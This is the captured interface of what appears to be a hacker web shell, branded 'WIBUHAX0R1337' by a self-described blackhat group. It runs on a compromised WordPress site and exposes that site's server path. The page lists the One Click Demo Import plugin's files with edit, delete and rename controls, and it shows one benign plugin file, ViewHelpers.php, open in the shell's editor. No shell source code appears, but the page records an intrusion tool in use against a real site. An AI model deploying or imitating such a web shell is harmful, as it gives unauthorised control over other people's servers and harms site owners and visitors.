-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
xtrasolutionsco.com
/
wp-content
/
plugins
/
one-click-demo-import
/
inc
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
CreateDemoContent
--
NONE
CustomizerImporter.php
7.28KB
Edit File
Delete File
Rename
CustomizerOption.php
0.478KB
Edit File
Delete File
Rename
Downloader.php
3.881KB
Edit File
Delete File
Rename
Helpers.php
27.881KB
Edit File
Delete File
Rename
ImportActions.php
6.765KB
Edit File
Delete File
Rename
Importer.php
5.425KB
Edit File
Delete File
Rename
Logger.php
1.38KB
Edit File
Delete File
Rename
OneClickDemoImport.php
31.455KB
Edit File
Delete File
Rename
PluginInstaller.php
17.085KB
Edit File
Delete File
Rename
PluginInstallerSkin.php
1.604KB
Edit File
Delete File
Rename
PluginInstallerSkinSilent.php
1.133KB
Edit File
Delete File
Rename
ReduxImporter.php
2.686KB
Edit File
Delete File
Rename
ViewHelpers.php
2.114KB
Edit File
Delete File
Rename
WPCLICommands.php
9.77KB
Edit File
Delete File
Rename
WPFormsImporter.php
2.269KB
Edit File
Delete File
Rename
WXRImporter.php
3.944KB
Edit File
Delete File
Rename
WidgetImporter.php
12.912KB
Edit File
Delete File
Rename
<?php /** * Static functions used in the OCDI plugin views. * * @package ocdi */ namespace OCDI; class ViewHelpers { /** * The HTML output of the plugin page header. * * @return string HTML output. */ public static function plugin_header_output() { ob_start(); ?> <div class="ocdi__title-container"> <h1 class="ocdi__title-container-title"><?php esc_html_e( 'One Click Demo Import', 'one-click-demo-import' ); ?></h1> <a href="https://ocdi.com/user-guide/" target="_blank" rel="noopener noreferrer"> <img class="ocdi__title-container-icon" src="<?php echo esc_url( OCDI_URL . 'assets/images/icons/question-circle.svg' ); ?>" alt="<?php esc_attr_e( 'Questionmark icon', 'one-click-demo-import' ); ?>"> </a> </div> <?php $plugin_title = ob_get_clean(); // Display the plugin title (can be replaced with custom title text through the filter below). return Helpers::apply_filters( 'ocdi/plugin_page_title', $plugin_title ); } /** * The HTML output of a small card with theme screenshot and title. * * @return string HTML output. */ public static function small_theme_card( $selected = null ) { $theme = wp_get_theme(); $screenshot = $theme->get_screenshot(); $name = $theme->name; if ( isset( $selected ) ) { $ocdi = OneClickDemoImport::get_instance(); $selected_data = $ocdi->import_files[ $selected ]; $name = ! empty( $selected_data['import_file_name'] ) ? $selected_data['import_file_name'] : $name; $screenshot = ! empty( $selected_data['import_preview_image_url'] ) ? $selected_data['import_preview_image_url'] : $screenshot; } ob_start(); ?> <div class="ocdi__card ocdi__card--theme"> <div class="ocdi__card-content"> <?php if ( $screenshot ) : ?> <div class="screenshot"><img src="<?php echo esc_url( $screenshot ); ?>" alt="<?php esc_attr_e( 'Theme screenshot', 'one-click-demo-import' ); ?>" /></div> <?php else : ?> <div class="screenshot blank"></div> <?php endif; ?> </div> <div class="ocdi__card-footer"> <h3><?php echo esc_html( $name ); ?></h3> </div> </div> <?php return ob_get_clean(); } }
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat